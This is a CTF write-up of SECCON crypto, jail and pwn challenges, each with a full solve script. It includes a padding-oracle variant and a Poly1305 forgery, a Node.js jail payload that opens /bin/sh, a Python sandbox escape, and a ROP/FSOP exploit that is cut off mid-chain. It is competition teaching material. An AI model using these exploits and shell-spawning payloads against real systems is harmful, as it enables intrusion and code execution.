[TOC]
# Crypto
## yukari
The code using $n, e, d$ to construct RSA except of using p and q
```python
n = p * q
e = getPrime(64)
d = pow(e, -1, (p - 1) * (q - 1))
cipher = RSA.construct((n, e, d))
```
And in `RSA.construct` have to factor p and q to check.
```python
a = Integer(2)
while not spotted and a < 100:
k = Integer(t)
# Cycle through all values a^{t*2^i}=a^k
while k < ktot:
cand = pow(a, k, n)
# Check if a^k is a non-trivial root of unity (mod n)
if cand != 1 and cand != (n - 1) and pow(cand, 2, n) == 1:
# We have found a number such that (cand-1)(cand+1)=0 (mod n).
# Either of the terms divides n.
p = Integer(n).gcd(cand + 1)
spotted = True
break
k *= 2
# This value was not any good... let's try another!
a += 2
```
We just choose $q = k * p + 1$ with random k until it satisfy all the condition
- Solve script:
```python
#!/usr/bin/env python3
from math import gcd
from pwn import context, process, remote
from pwnlib.tubes.process import PIPE
from Crypto.PublicKey import RSA
from Crypto.Util.number import getPrime, isPrime
def rsa_setup_fails(p, q, trials = 6):
phi = (p - 1) * (q - 1)
n = p * q
tested = 0
attempts = 0
while tested < trials and attempts < trials * 3:
e = getPrime(64)
attempts += 1
if gcd(e, phi) != 1:
continue
d = pow(e, -1, phi)
tested += 1
try:
RSA.construct((n, e, d))
return False
except ValueError:
pass
return tested == trials
def find_bad_q(p):
k = 2
while True:
q = p * k + 1
if q.bit_length() >= 1024 and isPrime(q) and rsa_setup_fails(p, q):
return q
k += 2
context.log_level = "DEBUG"
# io = process(["python3", "chal.py"], stdin=PIPE, stdout=PIPE)
io = remote("yukari.seccon.games", 15809)
for _ in range(32):
line = io.recvline()
if not line.startswith(b"p ="):
raise ValueError(f"unexpected prompt: {line!r}")
p = int(line.split(b"=")[1])
q = find_bad_q(p)
io.sendlineafter(b"q: ", str(q).encode())
reply = io.recvline()
if b"error!" not in reply:
raise RuntimeError(f"RSA setup unexpectedly succeeded: {reply!r}")
flag = io.recvline().decode().strip()
print(flag)
```
- FLAG:
```
SECCON{9cb27d297988cdae22deca33d5e54a6955d6f95a010c6aec737ff7509f4ac715}
```
## Last Flight
The challenge is about taking 2-isogeny walk on ordinary curve for `vulcan` and `bell` then asked us to find a path from `vulcan` to `bell`. Both start at same starting curve $E(\mathbb{F}_p)$, take random walk 160 times and avoid going back. The conduction of $E$ is $2^{128}$ and therefore random walk of 2-isogeny is actually ascending/descending on isogeny volcanoes. For every curve on the isogeny volcanoes (up to isomorphism), there is 1 ascending and 2 descending 2-isogeny to walk. Since we cannot go back, once 1 of the isogeny walk is descending then all subsequent walks must be descending too. For both `vulcan` and `bell`, the chance to starts with descending walk is 2/3 so we can hope that both start with descending isogeny then we just take ascending walk from the final j-invariant (this can be efficiently computed by computing the height of current curve by taking random walk and hope it reaches the floor) until we reaches the starting curve. From that we can easily recover `visited_planets` and therefore the corresponding secret `flight_plans`. The rest is trivial.
Solve script:
```python
from sage.all import *
import multiprocessing as mp
import sys
import functools
from pwnlib.tubes.process import process
from pwnlib.tubes.remote import remote
sys.setrecursionlimit(2000)
proof.all(False)
p = 4718527636420634963510517639104032245020751875124852984607896548322460032828353
original_j = 4667843869135885176787716797518107956781705418815411062878894329223922615150642
Fp = GF(p)
t = -62
r = t**2 - 4 * p
D = squarefree_part(r)
f = ZZ((r // D).sqrt())
poly = classical_modular_polynomial(2).change_ring(Fp)
@functools.lru_cache(maxsize=None)
def find_neighbours(j, l):
return poly.subs(Y=j).univariate_polynomial().roots(multiplicities=False)
def is_bot(j, l):
if f % l != 0: return True
return len(find_neighbours(j, l)) == 1
def go_bot(j, l):
js = [[j, nj] for nj in find_neighbours(j, l)[:3]]
while True:
for i, ls in enumerate(js):
pj, nj = ls[-2:]
if is_bot(nj, l): return ls
cj = choice([cj for cj in find_neighbours(nj, l) if cj != pj])
js[i].append(cj)
def depth(j, l):
if f % l != 0: return 0
if is_bot(j, l) == 1: return 0
return len(go_bot(j, l)) - 1
def depth_wrapper(args):
return depth(*args)
def solve(end, target, target_depth):
secret = []
current_j = end
current_height = depth(current_j, 2)
found = [end]
with mp.Pool() as pool:
while current_height < target_depth:
# print(f'{current_height = }')
j_lst = find_neighbours(current_j, 2)
args = [(j, 2) for j in j_lst]
depths = pool.map(depth_wrapper, args)
found_next = False
for j_inv, h in zip(j_lst, depths):
if h > current_height:
current_height = h
print(f'{current_height = }')
current_j = j_inv
found.append(j_inv)
found_next = True
break
if not found_next:
print("Stuck climbing...")
break
if current_j != target:
print(f"unlucky: {current_j} != {target}")
found = found[::-1]
return found, secret
def find_inv_secret(found):
secret = []
current_E = EllipticCurve(Fp, j=found[-1])
for i in range(len(found) - 2, -1, -1):
j0, j1 = found[i + 1], found[i]
next_Es = [x.codomain() for x in current_E.isogenies_prime_degree(2)]
next_js = [curve.j_invariant() for curve in next_Es]
idx = next_js.index(j1)
secret.append(idx)
current_E = next_Es[idx]
return secret, current_E
def find_secret(found, start_curve = None):
secret = []
if start_curve:
current_E = start_curve
else:
current_E = EllipticCurve(Fp, j=found[0])
for i in range(len(found) - 1):
_, j1 = found[i:i+2]
next_Es = [x.codomain() for x in current_E.isogenies_prime_degree(2)]
next_js = [curve.j_invariant() for curve in next_Es]
idx = next_js.index(j1)
secret.append(idx)
current_E = next_Es[idx]
return secret
def interstellar_flight(j, flight_plans=None):
planet = EllipticCurve(Fp, j=j)
visited_planets = []
if flight_plans == None:
flight_plans = [randint(0, 2) for _ in range(5)]
for flight_plan in flight_plans:
tmp = planet.isogenies_prime_degree(2)
flight = tmp[flight_plan]
if len(visited_planets) > 1:
if flight.codomain().j_invariant() == visited_planets[-2]:
continue
planet = flight.codomain()
visited_planets.append(planet.j_invariant())
return visited_planets[-1]
if __name__ == '__main__':
print(f'{D = }')
LOCAL = False
if LOCAL:
L = 5
io = process(["sage", "chall.sage"])
else:
L = 160
# io = remote("last-flight.seccon.games", 5000)
io = remote("153.125.146.243", 5000)
# Solve POW
print("Solving POW...")
io.recvuntil(b"hashcash -mb")
bits_res = io.recvline().decode().strip() # e.g. "27 AmciiEFLjPuguCIE"
bits, resource = bits_res.split()
cmd = f"hashcash -mb{bits} {resource}"
print(f"Running: {cmd}")
import subprocess
try:
token = subprocess.check_output(cmd, shell=True).decode().strip()
print(f"Token: {token}")
io.sendlineafter(b"hashcash token: ", token.encode())
except subprocess.CalledProcessError as e:
print(f"POW failed: {e}")
exit(1)
print("Calculating target depth...")
target_depth = depth(original_j, 2)
print(f'{target_depth = }')
io.recvuntil(b"Currently in interstellar flight...\n")
line_vulcan = io.recvline().decode().strip()
print(line_vulcan)
ja = int(line_vulcan.split(':')[-1].strip())
print(f'{ja = }')
line_bell = io.recvline().decode().strip()
print(line_bell)
jb = int(line_bell.split(':')[-1].strip())
print(f'{jb = }')
print('Solving secret0')
visited0, _ = solve(ja, original_j, target_depth)
print(f'Length visited0: {len(visited0)}')
print('Solving secret1')
visited1, _ = solve(jb, original_j, target_depth)
print(f'Length visited1: {len(visited1)}')
print("Pruning paths...")
while len(visited0) > 1 and len(visited1) > 1 and visited0[1] == visited1[1]:
visited0.pop(0)
visited1.pop(0)
secret0_inv, start_E = find_inv_secret(visited0)
secret1 = find_secret(visited1, start_E)
ans = [int(x) for x in secret0_inv + secret1]
ans_str = ', '.join(map(str, ans))
print(f"Sending answer length: {len(ans)}")
io.sendline(ans_str.encode())
io.interactive()
# SECCON{You_have_made_your_wish_so_you_have_got_to_make_it_true}
```
## cbc-magic-word
The challenge provides us a "padding oracle" and asks us to recover a secret json within 10000 queries. When requesting to server there are 3 possible cases
- `decrypt error`: error from `a = unpad(unpad(unpad(cipher.decrypt(ciphertext), 16), 16), 16).decode()`
- `json error`: error from `json.loads(text)["key"]`
- `ok`: Passed both lines above.
The triple padding along with `.decode()` defeat the use of CBC padding oracle here. Actually when we tries to adapt padding oracle attack, it only works for last plaintext block and subsequent will get `decrypt error` due to `.decode()`. After reading some Python docs, I realized the `decode` method is actually decoding a UTF-8 string, and UTF-8 string with 2 or more bytes require specific format which we can abused to slowly enumerate the secret json. 1 more point to notice is that the character set `string.ascii_letters` have exactly same 2 MSB `01` and UTF-8 string requires most of its byte to have 2 MSB `10` - which is doable with bit flipping attack. The strategy is as follow:
- We are given `ct = IV || C1 || C2 || ... || C11 || C12 || C13` with `C11` is ct of `b'}' + b'\x0f' * 15` and `C12, C13` is ct of `b'\x10' * 16`.
- `P1 = '{"key": "......'` and by bit-flipping wisely, we can uniquely determine the unknown characters with 52 queries
- `C11, C12, C13` is known plaintext so we skip
- `C10 = '.............."'`, we attack by using `C10 || C11 || C12` as ciphertext and `C9` as IV. we know its last byte then we can exploit the 2,3,4-byte format of UTF-8 to enumerate all characters of the block by flipping `C9`. Sometime we get 2 candidates but either of them work so we just use 1 to continue the attack, then verify again by flipping IV so decrypted payload will be `{"key": "...."}` and true candidate gives `ok` response
- `C9-C2`: Actually we don't need to know the last byte to carry out the attack for those blocks and any last character works just fine for the attack, the strategy is almost the same as above (just adding more IV block to the start, e.g. `C9` attack requires `C9 || C10 || C11 || C12` as ciphertext and `C8` as IV) but we will have 2 * 52 candidates (2 candidates for second-to-last character, 52 for unknown last character) and use similar approach as above to find the correct plaintext.
- Flag.
At worst case, the attack will cost:
- `C1`: 52 * 7 = 364,
- `C10`: 64 * 15 + 2 = 962,
- `C9-C2`: (64 * 15 + 2 * 52) * 8 = 8512,
- Flag: 1 query.
=> 364 + 962 + 8512 + 1 = 9839 queries < 10000.
Solve script:
```python
import string
import base64
import itertools
import json
from pwnlib.tubes.remote import remote
from pwnlib.tubes.process import process
charset = string.ascii_letters
def xorf(x, y):
return bytes([a ^ b for a, b in zip(x, y)])
def oracle1(x, y):
data = '{"key": "' + bytes([x^y]).decode() + 'bhmO"}'
try:
json.loads(data)["key"]
return "ok"
except Exception as e:
return "json error"
def oracle2(x, y, postfix= b'\x81', verbose=False):
data = bytes([x ^ 0b10000000 ^ y]) + postfix
try:
data = data.decode()
return "json error"
except Exception as e:
if verbose:
print(e)
return "decrypt error"
REQUEST_COUNT = 0
def batch_encrypt(data: list):
global REQUEST_COUNT
payload = b'\n'.join(base64.b64encode(d) for d in data)
line_no = len(data)
io.sendline(payload)
REQUEST_COUNT += line_no
lines = io.recvlines(line_no)
lines = [line.decode()[2:] for line in lines]
print(f'[+] Total requests: {REQUEST_COUNT}')
return lines
oracle_charset = list(charset + '@{')
oracle_charset.remove('b')
oracle_charset.remove('B')
lookup = {}
for c in charset:
row = tuple([oracle1(ord(c2), ord(c)) for c2 in oracle_charset])
lookup[row] = c
oracle_charset = ''.join(oracle_charset).encode()
pts = []
LOCAL = False
if LOCAL:
io = process(["python", "server.py"])
# print(io.recvline())
else:
io = remote("cbc-magic-word.seccon.games", 3333)
ct = io.recvline().decode().strip().split()[-1]
ct = base64.b64decode(ct)
ct_block = [ct[i:i+16] for i in range(0, len(ct), 16)]
"""
ct = IV || C1 || C2 || ... || C11 || C12 || C13
C11 is ctf of '}' + b'\x0f' * 15
C12, C13 is ct of b'\x10' * 16
"""
### Recover C1 ###
# block0 = '{"key": "EbhmODr'
iv = ct_block[0]
pt = '{"key": "'
for idx in range(9, 16):
payload_batch = [iv[:idx] + bytes([c ^ iv[idx]]) + iv[idx + 1:] + b''.join(ct_block[1:]) for c in oracle_charset]
result = batch_encrypt(payload_batch)
char = lookup[tuple(result)]
pt += char
print(f'{pt = }')
### Recover C10 ###
C9, suffix = ct_block[-5], b''.join(ct_block[-4:])
known_candidate = [b'"']
stored = b''
for idx in range(14, -1, -1):
next_known = []
print(f'{idx = }')
print(f'{known_candidate = }')
for known in known_candidate[:1]:
postfix = bytes([0x81 for _ in known[:3]])
lookup_char = {}
tmp = []
for c in charset:
row = tuple([oracle2(c2, ord(c), postfix, False) for c2 in range(64)])
try:
lookup_char[row].append(c)
except:
lookup_char[row] = [c]
if len(lookup_char) == 1:
continue
payload_batch = []
for c in range(64):
prefix = C9[:idx] + bytes([(C9[idx] ^ 0b10000000) ^ c])
prefix += bytes([x ^ k ^ 0x81 for x, k in zip(C9[idx + 1:], known[:3])])
if len(known) > 3:
prefix += C9[idx + 1 + 3:]
prefix += suffix
payload_batch.append(prefix)
result = tuple(batch_encrypt(payload_batch))
for cand in lookup_char[result]:
next_known.append(cand.encode() + known)
known_candidate = next_known.copy()
if idx == 14 and len(known_candidate) > 1:
print('Multiple candidates found at idx 14:', known_candidate)
stored = bytes([known_candidate[-1][-2]])
known_candidate.append(known_candidate[0][:-2] + stored + known_candidate[0][-1:])
template = b'{"key":"","a":""'
for known in known_candidate:
payload_batch = []
block = known
prefix = xorf(xorf(block, C9), template) + suffix
payload_batch.append(prefix)
result = batch_encrypt(payload_batch)
# print(f'{result = }')
if 'ok' in result:
block_original = known
print(f'Found block: {block_original}')
pts.append(block_original)
# exit()
### Recover C9-C2 ###
for block_no in range(-6, -14, -1):
C8, suffix = ct_block[block_no], b''.join(ct_block[block_no + 1:])
payload_batch = []
idx = 14
for c in range(64):
prefix = C8[:idx] + bytes([(C8[idx] ^ 0b10000000) ^ c])
prefix += bytes([x ^ 0b11000000 for x in C8[idx + 1:]])
prefix += suffix
payload_batch.append(prefix)
result = tuple(batch_encrypt(payload_batch))
postfix = bytes([ord('a') ^ 0b11000000])
lookup_char = {}
for c in charset:
row = tuple([oracle2(c2, ord(c), postfix, False) for c2 in range(64)])
try:
lookup_char[row].append(c)
except:
lookup_char[row] = [c]
try:
res0 = lookup_char[result]
print(f'Found, {res0 = }')
except Exception as e:
print('Not found')
idx = 13
payload_batch = []
for c in range(64):
prefix = C8[:idx] + bytes([(C8[idx] ^ 0b10000000) ^ c])
prefix += bytes([C8[idx + 1] ^ ord(res0[0]) ^ 0x81]) +bytes([x ^ 0b11000000 for x in C8[idx + 2:]])
prefix += suffix
payload_batch.append(prefix)
result = tuple(batch_encrypt(payload_batch))
postfix = b'\x81' + bytes([ord('c') ^ 0b11000000])
lookup_char = {}
for c in charset:
row = tuple([oracle2(c2, ord(c), postfix, False) for c2 in range(64)])
try:
lookup_char[row].append(c)
except:
lookup_char[row] = [c]
try:
res1 = lookup_char[result]
print(f'Found, {res1 = }')
except Exception as e:
print('Not found')
idx = 12
payload_batch = []
for c in range(64):
prefix = C8[:idx] + bytes([(C8[idx] ^ 0b10000000) ^ c])
prefix += bytes([x ^ ord(res1[0]) ^ 0x81 for x in C8[idx + 1:idx + 3]]) +bytes([x ^ 0b11000000 for x in C8[idx + 3:]])
prefix += suffix
payload_batch.append(prefix)
result = tuple(batch_encrypt(payload_batch))
postfix = b'\x81\x81' + bytes([ord('c') ^ 0b11000000])
lookup_char = {}
for c in charset:
row = tuple([oracle2(c2, ord(c), postfix, False) for c2 in range(64)])
try:
lookup_char[row].append(c)
except:
lookup_char[row] = [c]
try:
res2 = lookup_char[result]
print(f'Found, {res2 = }')
except Exception as e:
print('Not found')
for known in itertools.product(res2, res1, res0):
print(''.join(known).encode())
known_candidate = [''.join(known).encode() + b'a' for known in itertools.product(res2, res1, res0)]
for idx in range(11, -1, -1):
next_known = []
print(f'{idx = }')
print(f'{known_candidate = }')
for known in known_candidate[:1]:
postfix = bytes([0x81 for _ in known[:3]])
lookup_char = {}
tmp = []
for c in charset:
row = tuple([oracle2(c2, ord(c), postfix, False) for c2 in range(64)])
try:
lookup_char[row].append(c)
except:
lookup_char[row] = [c]
if len(lookup_char) == 1:
continue
payload_batch = []
for c in range(64):
prefix = C8[:idx] + bytes([(C8[idx] ^ 0b10000000) ^ c])
prefix += bytes([x ^ k ^ 0x81 for x, k in zip(C8[idx + 1:], known[:3])])
if len(known) > 3:
prefix += C8[idx + 1 + 3:]
prefix += suffix
payload_batch.append(prefix)
result = tuple(batch_encrypt(payload_batch))
for cand in lookup_char[result]:
next_known.append(cand.encode() + known)
known_candidate = next_known.copy()
if len(res0) > 1:
known_candidate.append(known_candidate[0][:-2] + res0[1].encode() + known_candidate[0][-1:])
print(f'{known_candidate = }')
template = b'{"key":"a","a":"'
for known in known_candidate:
payload_batch = []
for c in charset:
block = known[:-1] + c.encode()
prefix = xorf(xorf(block, C8), template) + suffix
payload_batch.append(prefix)
result = batch_encrypt(payload_batch)
if 'ok' in result:
c = charset[result.index('ok')]
block_original = known[:-1] + c.encode()
print(f'Found final char: {c}, block: {block_original}')
pts.append(block_original)
pts = pts[::-1]
print(f'{pts = }')
magic_key = pt.encode() + b''.join(pts) + b'}'
print(f'{magic_key = }')
io.sendline(magic_key)
io.interactive()
# SECCON{MakeSomeNoise~~~~~pad-pad-pad-And-Unpad-Unpad-Unpad}
```
## Nostalgic
We have a function that does ChaCha20-Poly1305 encryption with authentication. We can call it as many times as we want with an empty `plaintext` (so it generates a random 15-byte `plaintext`), and it will encrypt _with the same key and nonce_, but we only get back the authentication tag:
```python
key = get_random_bytes(32)
nonce = get_random_bytes(12)
def enc(plaintext=None):
if plaintext == None:
plaintext = get_random_bytes(15)
cipher = ChaCha20_Poly1305.new(key=key, nonce=nonce)
ct, tag = cipher.encrypt_and_digest(plaintext)
return ct, tag
while True:
if (inp := input("what is your mind: ")) == "need":
print(f"my MIND was {enc(plaintext=None)[1].hex()}")
```
---
ChaCha20 is a stream cipher, so it preserves length and the ciphertext is still 15 (random) bytes. To compute the tag, ChaCha20-Poly1305 uses two secret 128-bit values $r$ and $s$, derived from the key and nonce. For ciphertexts $c_i$ that are at most 16 bytes, and no AAD, computing the tag $T$ simplifies to:
$$
T_i = \left(\left(r^2 c_i + 2^{128}r^2 + (L*2^{64} + 2^{128})r\right) \pmod P + s\right) \pmod{2^{128}}
$$
where $P = 2^{130}-5$, and $L = 15$ is the length of the ciphertext.
We can write this as
$$
T_i \equiv r^2c_i + u - 2^{128} k_i \pmod P
$$
where $u$ is unknown but constant, $c_i$ corresponds to a 15-byte ciphertext (so less than $2^{120}$), and $-2^{128} k_i$ represents taking the value modulo $P$ and reducing it further modulo $2^{128}$ (so we must have $0 \leq k_i \leq 4$).
We can get rid of the $u$ term by taking differences of the above equations:
$$
\Delta T_i \equiv r^2 (\Delta c_i) - 2^{128} (\Delta k_i) \pmod P
$$
where $-2^{120} \leq \Delta c_i \leq 2^{120}$ and $-4 \leq \Delta k_i \leq 4$. And we have arbitrary many of these equations: I used $N = 80$ equations.
---
This looks like a lattice problem because the $\Delta c_i$ and $\Delta k_i$ are bounded. However, it's not a linear equation in unknowns, because both $r$ and $\Delta c_i$ are unknown in the same term, so a standard lattice approach doesn't work. But one of those unknowns, $r$, is constant, which means we can use **orthogonal lattices**.
Consider finding short vectors $v$ that are orthogonal to $\Delta T$, the vector of $\Delta T_i$s: i.e. $v \cdot \Delta T = \sum_i v_i \cdot \Delta T_i \equiv 0 \pmod P$. This is a linear equation (the $v_i$ are unknown but the $\Delta T_i$ are known), so a standard lattice approach works. Here is a lattice to find them:
$$
A_1 = \begin{bmatrix}
\Delta T_1 \cdot W & 1 \\
\Delta T_2 \cdot W & & 1 \\
\vdots & & & \ddots \\
\Delta T_N \cdot W & & & & 1 \\
P \cdot W
\end{bmatrix}
$$
$$
w = \begin{bmatrix}
0 & v_1 & v_2 & \cdots & v_N
\end{bmatrix}
$$
If $W$ is large enough (for orthogonal lattice technique, use more than the maximum bound of an unknown: I used $W = 2^{128}$), then a short vector $w$ must start with a zero. From the first column, $v_1 (\Delta T_1 \cdot W) + v_2 (\Delta T_2 \cdot W) + \cdots + v_N (\Delta T_N \cdot W) \equiv 0 \pmod P$, so the $v_i$ form an orthogonal vector to $\Delta T$.
LLL finds not just one short vector $v$, but an entire basis of independent short vectors $v_1, v_2, \ldots$ all orthogonal to $\Delta T$. This basis forms the "orthogonal lattice".
Now here's the cool part. We have:
$$
\begin{array}{}
v_i \cdot \Delta T &=& v_i \cdot \left( r^2 (\Delta c) - 2^{128}(\Delta k) \right) \\
&=& r^2 (v_i \cdot \Delta c) - 2^{128} (v_i \cdot \Delta k) &\equiv& 0 \pmod P
\end{array}
$$
If the $v_i$ are small, then there's a decent chance that both $v_i \cdot \Delta c$ and $v_i \cdot \Delta k$ are zero. Empirically, I found that the top $N-2$ rows $v_i, v_2, \ldots v_{N-2}$ of the resulting LLL matrix satisfy this.
What does that mean? Well, now we have $N-2$ equations $v_i \cdot \Delta k = 0$, and we know the $v_i$, so we can use the standard lattice approach again to find the short $\Delta k$ vector:
$$
A_2 = \begin{bmatrix}
v_{1,1} \cdot W & v_{2,1} \cdot W & \cdots & v_{N-2,1} \cdot W & 1 \\
v_{1,2} \cdot W & v_{2,2} \cdot W & \cdots & v_{N-2,2} \cdot W & & 1 \\
\vdots & & & & & & \ddots \\
v_{1,N} \cdot W & v_{2,N} \cdot W & \cdots & v_{N-2,N} \cdot W & & & & 1 \\
P & \\
& P \\
& & \ddots \\
& & & P
\end{bmatrix}
$$
$$
w = \begin{bmatrix}
0 & 0 & \cdots & 0 & \Delta k_1 & \Delta k_2 & \cdots & \Delta k_N
\end{bmatrix}
$$
Similarly as above, if $W$ is large enough, then a short vector of this lattice must start with $N-2$ zeros, and the last N entries form a vector orthogonal to all $v_i$. Since $\Delta k$ is small, it is likely to be the top row after LLL.
The same lattice works to find $\Delta c$, so it is likely to be the second top row.
After getting $\Delta c$ and $\Delta k$, it is straightforward to plug them into the above equations to get $r^2$ and thus $r$. We're also given one known ciphertext and tag pair $(c_G, T_G)$, from which we can get $s$.
The final challenge is: given an encrypted value `enc(special_rain)` and authentication tag for that ciphertext, find a value that can be XORed with `enc(special_rain)` to get the tag `SPECIAL_MIND`:
```python
# We are given enc(special_rain) and SPECIAL_MIND
if enc(plaintext=xor(special_rain, bytes.fromhex(inp)))[1] == SPECIAL_MIND:
print(f"I feel the same!!.. The flag is {FLAG}")
```
Since we now know the authentication secrets $r$ and $s$, we can find a ciphertext $c_T$ that results in the `SPECIAL_MIND` tag. We XOR `enc(special_rain)` with $c_T$ to get the desired value.
Solve script:
```python=
import itertools
from pwn import *
from sage.all import *
P = 0x3fffffffffffffffffffffffffffffffb
F = GF(P)
N = 80
W = 2**128
def get_ciphertext(len_c, tag, r, s):
for k in range(5):
if tag + 2**128 * k >= s:
c = (F(tag + 2**128 * k - s) / r - 2**128 - len_c * 2**64) / r - 2**128
if 0 <= c < 2 ** (8 * len_c):
return int(c)
while True:
io = remote('nostalgic.seccon.games', 5000)
io.recvuntil(b'my SPECIAL_MIND is ')
target_T = int.from_bytes(unhex(io.recvline()), 'little')
io.recvuntil(b'special_rain_enc = ')
given_C = int.from_bytes(unhex(io.recvline()), 'little')
io.recvuntil(b'special_rain_tag = ')
given_T = int.from_bytes(unhex(io.recvline()), 'little')
# Get N+1 tags for lattices, and some more for consistency checks later
Ts = []
for _ in range(2 * N):
io.sendline(b'need')
for _ in range(2 * N):
io.recvuntil(b'my MIND was')
tag = unhex(io.recvline())
Ts.append(int.from_bytes(tag, 'little'))
# Take differences ΔT of tags to remove the constant u term
dTs = []
for i in range(1, N + 1):
dTs.append(Ts[i] - Ts[0])
# Find short vectors v orthogonal to ΔT
A1 = [[0] * (N + 1) for _ in range(N + 1)]
for i in range(N):
A1[i][0] = dTs[i] * W
A1[i][i + 1] = 1
A1[N][0] = P * W
A1 = matrix(ZZ, A1).LLL()
vs = [row[1:] for row in A1[:-3]]
assert len(vs) == N - 2
assert all(vector(F, dTs).dot_product(v) == 0 for v in vs)
# Find short vectors k and Δc orthogonal to all v
A2 = [[0] * (2 * N - 2) for _ in range(2 * N - 2)]
for i, v in enumerate(vs):
for j in range(N):
A2[j][i] = v[j] * W
for i in range(N):
A2[i][N - 2 + i] = 1
for i in range(N - 2):
A2[N + i][i] = P * W
A2 = matrix(ZZ, A2).LLL()
assert all(n == 0 for n in A2[:2, : N - 2])
ks = A2[0][N - 2:]
dcs = A2[1][N - 2:]
if any(abs(n) >= 5 for n in ks) or any(abs(n) >= 2**120 for n in dcs): # didn't find right solution
io.close()
continue
# Given k and Δc, compute r², then r, then s
for k_sign, dc_sign in itertools.product((-1, 1), (-1, 1)): # LLL only gives values up to sign; try both
for dT, k, dc in zip(dTs, ks, dcs):
r2 = F(dT - k_sign * k * 2**128) / (dc_sign * dc)
for r in r2.sqrt(all=True, extend=False):
s = (given_T - int(r * (r * (given_C + 2**128) + 16 * 2**64 + 2**128))) % 2**128
# Consistency check - check that this (r, s) does yield only 15-byte ciphertexts
if all(get_ciphertext(15, T, r, s) is not None for T in Ts):
# Find the encryption that gives the desired tag
# ChaCha is malleable; XOR that encryption with given_C to get the change I need
if (target_C := get_ciphertext(16, target_T, r, s)) is not None:
final_challenge = xor(target_C.to_bytes(16, 'little'), given_C.to_bytes(16, 'little'))
io.sendlineafter(b'what is your mind: ', final_challenge.hex().encode())
print(io.recvline())
exit()
io.close()
# SECCON{Listening_to_the_murmuring_waves_and_the_capricious_passing_rain_it_feels_like_a_gentle_dream}
```
# Jail
## broken-json
```python=
from pwn import *
context.log_level = 'debug'
io = remote('broken-json.seccon.games', 5000)
payload = b'''/";process.binding('spawn_sync').spawn({file:String.fromCharCode(47)+'bin'+String.fromCharCode(47)+'sh',args:['sh'],stdio:[{type:'fd',fd:0},{type:'fd',fd:1},{type:'fd',fd:2}]})+"/'''
io.sendlineafter(b'jail> ', payload)
io.interactive()
```
```shell
❯ python solve.py
[+] Opening connection to broken-json.seccon.games on port 5000: Done
[DEBUG] Received 0x6 bytes:
b'jail> '
[DEBUG] Sent 0xb4 bytes:
b'/";process.binding(\'spawn_sync\').spawn({file:String.fromCharCode(47)+\'bin\'+String.fromCharCode(47)+\'sh\',args:[\'sh\'],stdio:[{type:\'fd\',fd:0},{type:\'fd\',fd:1},{type:\'fd\',fd:2}]})+"/\n'
[*] Switching to interactive mode
$ cat /flag*
[DEBUG] Sent 0xb bytes:
b'cat /flag*\n'
[DEBUG] Received 0x29 bytes:
b'SECCON{Re:Jail_kara_Hajimeru_Break_Time}\n'
SECCON{Re:Jail_kara_Hajimeru_Break_Time}
$
```
## excepython
I forgot ex.\_\_traceback\_\_.tb_frame existed *and* the ability to store objects in an error via KeyErrors, so I came up with this steaming pile of garbage.
```py=
#!/usr/bin/env python3.14
# -*- coding: utf-8 -*-
from pwn import *
HOST = 'excepython.seccon.games 5000'
# HOST = "localhost 5000"
PYVER = 'python3.14'
CHALL = 'jail.py'
def start(**kw):
if args.REMOTE:
return remote(*re.split(r":|\s+", HOST), **kw)
else:
return process([PYVER, CHALL])
p = start()
sla=p.sendlineafter;sa=p.sendafter;sl=p.sendline;s=p.send
ru=p.recvuntil;rl=p.recvline;r=p.recv
PROMPT = b"jail> "
bb = lambda data: data if isinstance(data, bytes) else data.encode()
slp = lambda data: sla(PROMPT, bb(data))
# EXPLOIT HERE
context.log_level = "DEBUG"
enc_str = lambda s: '"%s"' % "".join(f"\\x{ord(c):02X}" for c in s)
slp(f'{enc_str("{.__class__.__base__.__subclasses__.x}")}.format(0)')
slp(f"[0 for ex.__typing_subst__ in [lambda a,k={{}}: [k['r'] for k['r'] in [[a[0] if 'r' not in k else k['r']][0](*a[1:])]][0]]]")
slp("[sb:=ex.obj()]and sb[0][ex][[sb[-1]]]")
slp("[sb:=ex.obj()]and sb[0][ex][[-1]]")
sla(b"help> ", b"subprocess")
sla(b"help> ", b"q")
slp(f"[0 for ex.__typing_subst__ in [lambda a,k={{}}: [k['r'] for k['r'] in [[a[0] if 'r' not in k else k['r']][0](*a[1:])]][0]]]")
slp("[sb:=ex.obj()]and sb[0][ex][[sb[306], ['/usr/bin/cat']+['/flag-d108ec7a911b72568e8aa0855f1787d8\\x2etxt']]]")
p.interactive()
```
#ASolveIsASolve
# Pwn
## unserialize
The vulnerability is that the size of the allocation is found with `strtoul(szbuf, NULL, 0)` while the size that we can read into the allocation is found with `strtoul(szbuf, NULL, 10)`. If `szbuf` starts with a `0`, it will be interpreted as an octal number instead of decimal which gives us a buffer overflow. At the end of the unserialize function, it executes `memcpy(buf, tmpbuf, sz);`. We can overwrite `buf` to point to the `.data` section and overwrite structures in the elf. I used FSOP to achieve an arbitrary call and then stack pivoted to data to set up a `read(0, 0x4ca338, 0x4ca338)` which allowed me to write a second stage ROP chain into my stack pointer.
```python
#!/usr/bin/env python3
from pwn import *
# exploit
r = process("./chall")
# gadgets
pop_rdx_leave = 0x004936dc
pop_rbp = 0x0049d155
pop_rsp = 0x0047e7c8
# 0x004729e7: pop rdi; add rax, rdi; vzeroupper; ret;
pop_rdi_add_rax_rdi = 0x004729e7
syscall = 0x00474589
lea_esi_rbp_syscall = 0x00431659
pop_rax = 0x004307ad
# 0x00461015: pop rdx; bsf eax, eax; add rax, rdi; vzeroupper; ret;
pop_rdx_lose_rax = 0x00461015
# 0x0049d152: pop rsi; pop r15; pop rbp; ret;
pop_rsi_r15_rbp = 0x0049d152
pl = b"0" + b"249" + b":"
pl += p64(0x4ca308).hex().encode()
pl += p64(pop_rdi_add_rax_rdi).hex().encode()
pl += p64(0).hex().encode() # fd
pl += p64(pop_rbp).hex().encode()
pl += p64(0x4ca3a0).hex().encode() # pivot 2
pl += p64(pop_rdx_leave).hex().encode()
pl += p64(0x4ca338).hex().encode()
pl += p64(elf.sym._IO_2_1_stdin_).hex().encode() # no clobber
pl += b"67" * 8 # junk
pl += b"57" # idx
pl += b"89" * 1 + b"00" * 7 # size
pl += p64(pop_rsp).hex().encode() # pivot
pl += p64(0x4ca340).hex().encode() # new rsp
pl += p64(pop_rax).hex().encode()
pl += p64(0).hex().encode() # read syscall num
pl += p64(lea_esi_rbp_syscall).hex().encode()
pl += b"00" * 0x1 # last byte of canary
r.sendline(pl)
# rop chain
pl = b""
pl += b"/bin/sh\x00"
pl += b"A" * 136
pl += p64(pop_rdi_add_rax_rdi)
pl += p64(0x4ca338) # "/bin/sh\0"
pl += p64(pop_rdx_lose_rax)
pl += p64(0)
pl += p64(pop_rax)
pl += p64(0x3b)
